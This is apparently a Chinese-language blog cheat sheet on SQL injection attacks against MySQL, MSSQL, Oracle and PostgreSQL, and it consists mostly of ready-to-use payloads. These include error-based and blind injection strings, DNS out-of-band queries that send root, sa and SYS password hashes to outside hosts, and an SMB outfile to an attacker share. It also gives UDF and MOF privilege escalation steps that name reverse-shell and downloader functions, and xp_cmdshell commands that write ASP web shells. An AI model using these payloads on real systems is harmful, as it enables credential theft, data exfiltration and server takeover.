Web安全之SQL注入漏洞

用户输入数据被当成了代码被执行
原则
有回显:union select、报错注入
无回显:dnslog, time-based, boolean-based
注:思维导图https://github.com/UltramanGaia/SecMM

最常见的注入

select * from xxx where id = %s ;
select * from xxx where id = '%s' ;
select * from xxx where id = "%s" ;
select * from xxx where id = ('%s') ;
select * from xxx where id = ("%s") ;
用
'
"
(
)
char
string
组合看看能不能报错显示出执行的sql语句
检测union select注入
order by 查列数
union select 看回显

用
or 1=1
or 1=2
and 1=1
and 1=2
检测boolean注入

用
or sleep(3)
检测time_base注入

Mysql

Mysql 默认端口 3306

注入方法

Union Select注入

确认列数
order by 
union select 1,2,3
union select null,null,null
union select @,@,@

报错注入

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

带外注入

  • bool注入

    and 1=1
    and 1=2
    or 1=1
    or 1=2
    爆数据长度
    and length(查询数据语句)=数字
    select * from user where id=1 and length((select version()))=23;
    爆数据
    and mid((查询数据语句),数字,1)='字符'
    select * from user where id=1 and mid((select version()),1,1)='5';
  • 时间盲注

    sleep()
    benchmark()
    爆数据长度
    and if(length(查询数据语句)=数字,sleep(5),0)
    and if(length(查询数据语句)=数字,BENCHMARK(10000000, md5(1)),0)
    爆数据
    and if(mid((查询数据语句),数字,1)='字符',sleep(5),0)
    and if(mid((查询数据语句),数字,1)='字符',BENCHMARK(10000000, md5(1)),0)
    其他操作。。
  • dnslog注入

    select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\'));
    SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
  • SMB

    ' or 1=1 into outfile '\\\\attacker\\SMBshare\\output.txt'

小众注入位置

  • limit 后面//貌似mysql5.7不能用

    ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
    ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
  • order by后面

    通过条件+排序
    order by IF(1=1,name,price) 通过name字段排序
    order by (CASE+WHEN+(1=1)+THEN+name+ELSE+price+END)
    通过报错
    select host from mysql.user order by host|updatexml(1,concat(0x3a,version(),0x3a),1);
    select host from mysql.user order by host|extractvalue(1,concat(0x7e,version()));
    
  • like 模糊匹配

    like '%test%'
  • regexp

    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^[a-n]' limit 0,1); // true
    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^[a-g]' limit 0,1); //true
    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^[a-a]' limit 0,1);//false
    and 1=(SELECT 1 FROM information_schema.tables where table_name regexp '^a[a-n]' limit 0,1);//true

获取信息

最常用的获取数据方法

大于Mysql 5.0

获取库名
select schema_name from information_schema.schemata limit 0,1
获取表名
select table_name from information_schema.tables where table_schema='mysql' limit 0,1
获取列名
select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
获取数据
select name from user; 
注:可以用十六进制代替数据库名、表名
如果过滤了空格,linux下可以用下列字符替代
%09 tab水平
%0a 换行
%0d    return 
%0b tab垂直
%a0 空格

库名

select database();
select schema_name from information_schema.schemata limit 0,1;
select group_concat(schema_name) from information_schema.schemata;
select distinct(Db) from mysql.db;
select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6

表名

select table_name from information_schema.tables where table_schema='mysql' limit 0,1
select group_concat(table_name) from information_schema.tables where table_schema='mysql' ;
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
select distinct(table_name) from mysql.innodb_index_stats;//mysql>5.6
select distinct(table_name) from mysql.innodb_table_stats;//mysql>5.6

列名

select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
select group_concat(column_name) from information_schema.columns where table_schema= 'mysql' and table_name = 'db' 

数据

Select group_concat(column_name) from table_name

双注入Double Injection

原理:mysql在 group by时,会先建立一张虚拟表。
取第一条记录,执行 floor(rand(0)2),发现结果为0,查询虚拟表,发现0的键值不存在,则在虚拟表插入
的新的数据时 floor(rand(0)
2)会被再计算一次,结果为1(第二次计算)
取第二条记录,执行 floor(rand(0)2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在,所以
floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕。
再次增加一条的时候
floor(rand(0)
2)发现结果为0(第4次计算)
查询虚拟表,发现0的键值不存在! 那么会在被计算一次
结果为1(第5次计算)
但是这个 已经存在了。主键值必须唯一。所以插入表就报错了。
返回的这个也是个表,每次查询处理计算完插入进去。
这样就可以报错了。

and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
union select 1,2 from (select+count(*),concat(floor(rand(0)*2),( 查询数据语句))a from information_schema.tables group by a)b

读文件

select user, file_priv from mysql.user;//查看权限
select * from users where id = (('1')) union select 1,2,load_file('/etc/passwd');//若是有权限,但不能读取,应该是secure_file_priv的锅

输出到文件中(需要知道绝对路径)

select * from users where id = (('1')) union select 1,2,users() into outfile 'D:\\1.txt';///var/lib/mysql-files/2.txt
select * from users where id = (('1')) union select 1,2,users() into dumpfile 'D:\\1.txt';
outfile 导出可以多行,会有换行等,适合导出文本文件
dumpfile 导出只能是一行,没有换行,适合导出二进制文件

二次排序注入 (存储型的注入)

二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
二次排序注入思路:
1. hacker输入的数据会经过转义代入sql语句中,然后,储存在数据库中,在数据库中的数据是没有转义的
2. hacker进行别的操作,将数据库中的数据取出来(未转义)并用于拼接到另外一个sql语句中,这就可以绕过转义了。
假设存在一个账户"admin",密码不知
创建一个账户"admin'#",则在数据库中保存有"admin'#"
修改密码的时候,代入sql语句
update users set passwd = "xxxx" where username = '      admin'#    ' and passwd = 'xxxxxxx'

宽字节注入

%df'   ->    %df%5c'
将sql语句解析为gbk编码时,
%df%5c  ->  当成一个字符,后面的'逃逸出来了

(1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。

(2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。

(3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。

(4) iconv,如iconv('GBK', 'UTF-8',$sql)

注入点 update / insert /delete

报错注入
extractvalue()函数是MYSQL对XML文档数据进行查询函数。
or extractvalue(1,concat(0x7e,version())) or

updatexml()函数是MYSQL对XML文档数据进行修改的XPATH函数。
or updatexml(1,concat(0x7e,(version())),0) or

name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。

update数据到可见参数
update users set points =  1*(select conv(hex((select substr( pw ,1%s,1))),0b10000,0b10))

WAF绕过

过滤型

检测型

检测select

  1. 尝试大小写绕过
  2. 尝试URLencode,如%53elect
  3. 仅能查询当前表

Mysql提权

udf提权

Windows

mysql < 5.0 无路径限制
如, C:\Winnt\udf.dll 或 C:\Windows\udf.dll
5.0 <= mysql < 5.1 system目录
如,C:\WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll 
mysql >= 5.1
%mysql%\plugin\udf.dll
select @@plugin_dir / show variables like '%plugin%';查询plugin路径
如,C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin\udf.dll
Create function cmdshell1 returns string soname "udf.dll";
Select cmdshell1("dir");
# 用完后
Drop function cmdshell1;
常用函数名:
cmdshell    执行cmd;
downloader  下载者,到网上下载指定文件并保存到指定目录;
open3389    通用开3389终端服务,可指定端口(不改端口无需重启);
backshell   反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread     读注册表;
regwrite    写注册表;
shut        关机,注销,重启;
about       说明与帮助函数;

Linux

show variables like "%plugin%";
/usr/lib/mysql/plugin/lib_mysqludf_sys.so 
CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
SELECT * FROM information_schema.routines
sys_exec(id);

mof提权

select load_file('C:\\www\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

mssql

报错注入

@@version>0
@@SERVERNAME


爆数据库名
db_name()>0
(SELECT top 1 Name FROM Master..SysDatabases)>0
(SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0
爆表名
(select top 1 name from 数据库名.sys.all_objects where type='U' AND is_ms_shipped=0)>0
users
(select top 1 name from 数据库名.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('users'))>0
爆列名
(select top 1 COLUMN_NAME from 数据库名.information_schema.columns where TABLE_NAME='表名')>0
(select top 1 COLUMN_NAME from 数据库名.information_schema.columns where TABLE_NAME='表名' and COLUMN_NAME not in ('列名'))>0
爆数据
(select top 1 列名 from 表名)>0
gxctf
(select top 1 列名 from 表名 and 列名 not in ('gxctf'))>0

输出到文件,上传木马

?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\www\1.asp'--

?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

hex编码绕过waf

1. 爆数据库版本:
select convert(int,@@version) 
hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
?id=1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)--
转换成数据类型 int 时失败。
2. 爆当前数据库
select convert(int,db_name()) 
hex 编码后:
0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929
?id=1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c64625f6e616d65282929 eXeC(@s)--
3. 爆用户:
select convert(int,User_Name())
hex编码后:0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929
?id=1; dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c557365725f4e616d65282929 eXeC(@s)--
同理

boolean盲注

?c=c1'/**/and/**/ascii(substring(@@version,1,1))>0/**/--&t=0
?c=c1'/**/and/**/ascii(substring(子查询,1,1))>0/**/--&t=0

dnslog注入

DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1
master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa')
+'.ip.port.b182oj.ceye.io';
EXEC('master..xp_dirtree
"\\'+@host+'\foobar$"');

Oracle

dnslog注入

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

Postgresql

Postgresql 默认端口 5432

Postgresql查询数据

SELECT datname FROM pg_database;
select schema_name from information_schema.schemata limit 1 offset 0; # PostgreSQL >= 7.4
SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')

dnslog注入

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function()
RETURNS VOID AS $
DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN
SELECT INTO query_result (SELECT passwd
FROM pg_shadow WHERE usename='postgres');
exec_cmd := E'COPY table_output(content)
FROM E\'\\\\\\\\'||query_result||E'.psql.ip.port.b182oj.ceye.io\\\\foobar.txt\'';
EXECUTE exec_cmd;
END;
$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT temp_function();
information_schema特性支持
Microsoft SQL Server - Supported in Version 7 and up
MySQL - Supported in Version 5 and up
PostgreSQL - Supported in Version 7.4 and up
Oracle - Does not appear to be supported
Apache Derby - NOT Supported As of Version 10.3

思维导图


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com